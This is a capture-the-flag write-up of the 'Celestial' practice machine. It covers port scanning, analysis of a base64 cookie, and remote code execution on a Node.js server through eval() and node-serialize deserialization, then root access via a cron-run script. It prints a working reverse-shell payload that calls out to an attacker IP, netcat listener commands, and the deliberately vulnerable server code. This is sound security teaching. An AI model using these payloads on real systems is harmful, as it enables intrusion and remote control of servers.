The Celestial
machine is a medium linux box.
If you are italian you might want to check out the related video.
#Getting a Foothold
#Port scanning
Doing basic scans with nmap
gives us the following
nmap -sC -sV celestial
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 00:48 CEST
Nmap scan report for celestial (10.129.152.32)
Host is up (0.052s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
As we can see we have a nodejs
web server listening on port
3000
. By doing a thorough scans of all the ports we don't get
much else.
nmap -p- celestial
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 00:48 CEST
Stats: 0:02:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 79.13% done; ETC: 00:51 (0:00:33 remaining)
Nmap scan report for celestial (10.129.152.32)
Host is up (0.053s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 158.77 seconds
This means that the only way to go in seems to be the nodejs
server.
#Enumerating nodeJS server
When we go to the server at http://celestial:3000
we are met with
the following screen
if we refresh the page however the response changes
Why is that? Well, let us explore the various requests/responses
sent using the HTTP protocol between the client (our browser),
and the server (our target). To do this we can launch burpsuite
with the usual proxy on 127.0.0.1:8080
, and then execute the
chromium
browser with the following option
chromium --proxy-server=127.0.0.1:8080
If we now reset the cache of the browser, and we once again
connect to the web server two times (the first time to get the
404
response, and the second time to get the other response), we
see the following: The first request we send to the browser is
pretty much normal, and contains nothing weird or suspicious
GET / HTTP/1.1
Host: celestial:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"
Connection: close
The first response the server sends to us contains something
interesting: a set-cookie
field, with a cookie value encoded in
base64.
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Tue, 25 May 2021 23:11:02 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12
ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Date: Tue, 25 May 2021 22:56:02 GMT
Connection: close
<h1>404</h1>
Let us now consider the cookie value. By first url-deconding, and
then base64-decoding it, we get the following json object
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
In the second request, the client (our browser), sends to the
server the cookie value previously received (look at the Cookie
header filed)
GET / HTTP/1.1
Host: celestial:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Connection: close
And the server replies with the following
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
ETag: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"
Date: Tue, 25 May 2021 22:57:32 GMT
Connection: close
Hey Dummy 2 + 2 is 22
This suggests the following idea: what happens if we change the json object with something malicious, base64 encode it, and pass it instead of the original cookie? If the server code is not well written, we might be able to get something out of this.
To test our hypothesis let us consider the following json object
{"username":"Leo","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":a}
which gets base64 encoded to
eyJ1c2VybmFtZSI6IkxlbyIsImNvdW50cnkiOiJJZGsgUHJvYmFibHkgU29tZXdoZXJlIER1bWIiLCJjaXR5IjoiTGFtZXRvd24iLCJudW0iOmF9
If we send this to the server we get the following error
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>
SyntaxError: Unexpected token a
<br> at Object.parse (native)
<br> at Object.exports.unserialize (/home/sun/node_modules/node-serialize/lib/serialize.js:62:16)
<br> at /home/sun/server.js:11:24
<br> at Layer.handle [ashandle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
<br> at next (/home/sun/node_modules/express/lib/router/route.js:137:13)
<br> at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)
<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
<br> atb /home/sun/node_modules/express/lib/router/index.js:281:22
<br> at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)
<br> at next (/home/sun/node_modules/express/lib/router/index.js:275:10)
</pre>
</body>
</html>
From this error we get some useful data:
-
We have a user named
sun
; -
The
server.js
code is using a library calledunserialize
to read the json object.
Even though from this error it does not come out, the server is
actually also executing eval()
on the num
field of the JSON
object. This extra information can be extracted if we put a
random value like "asdsds" instead of a single "a".
#Exploiting RCE on nodeJS server
To recap what we have found in the previous section, we can get a RCE on the nodeJS server in two different ways:
-
By putting malicious code on the
num
field we can exploit theeval()
function that is called by the server. -
By putting malicious code on the
username
field we can exploit theunserialize()
function that is called by the server. (for this exploit any field other thannum
will do fine.)
Let us now see in detail each way
#First way: RCE through eval()
The first way consists in exploiting the eval()
function. By
putting the following javascript code inside the num
field of the
object (as usual, remember to change IP/port appropriately).
var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(4321, '10.10.14.237', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})
We can then base64-encode the resulting cookie and send it to the server to get a rev shell. The problem with this approach is that its a big buggy, since the server will execute two times in a row the code (this has to do with how the eval is written). This means that to actually get a connection we need to listen on two different shells on the same endpoint
nc -lvnp 4321 # shell 1
nc -lvnp 4321 # shell 2
Then when we send the request with the malicious cookie one of these shell will receive the reverse, but this reverse will print 4 lines for each command we send, so if we want a clearer input we will have to spawn another shell.
#Second way: RCE through unserialize()
The second approach is instead much cleaner, and it is documented in this very-well written article: Exploiting Node.js deserialization bug for Remote Code Execution.
The basic idea is to exploit the unserialize
function so that
when it reads the cookie value it will execute the code we will
insert into the username
field (before we used the num
field).
To do this we can insert the js code necessary for a rev shell within the following json object
{"username":"_$$ND_FUNC$$_function (){<INSERT CODE HERE>}()", "country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
To actually generate the code one can use the following python script (also mentioned in the article): nodejsshell.py.
Once we have inserted the code, we can juse base64 encode it, listen in the given port, send the request, and get the shell back.
#Getting user flag
At this point we are inside the machine as the user sun
, and the
user flag can be immediately read as it can be found in the
/home/sun/Documents/
folder.
ls
Desktop Downloads Music output.txt Public Templates Documents examples.desktop node_modules Pictures server.js Videosls Documents
ls Documents script.py user.txt
#Privilege Escalation
As far as the privesc goes, it is pretty simple. By using pspy64s
we immediately realize that there is a cronjob that executes the
python script scripy.py
(also situated in /home/sun/Documents
) as
root.
#Getting root flag
By simply putting the code of a reverse shell in the script
/home/sun/Documents/script.py
we are able to spawn a shell as
root.
The root flag is then situated in /root
.
#Bonus
The actual js code executed by the nodeJS server is present in the
home directory of sun
, and its the following one
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str); // ! vulnerable !
if (obj.username) {
var sum = eval(obj.num + obj.num); // ! vulnerable !
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);
As we can see, I've commented the two lines which were vulnerable.
To finish off by executing crontab -l
as root we get the following
,*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py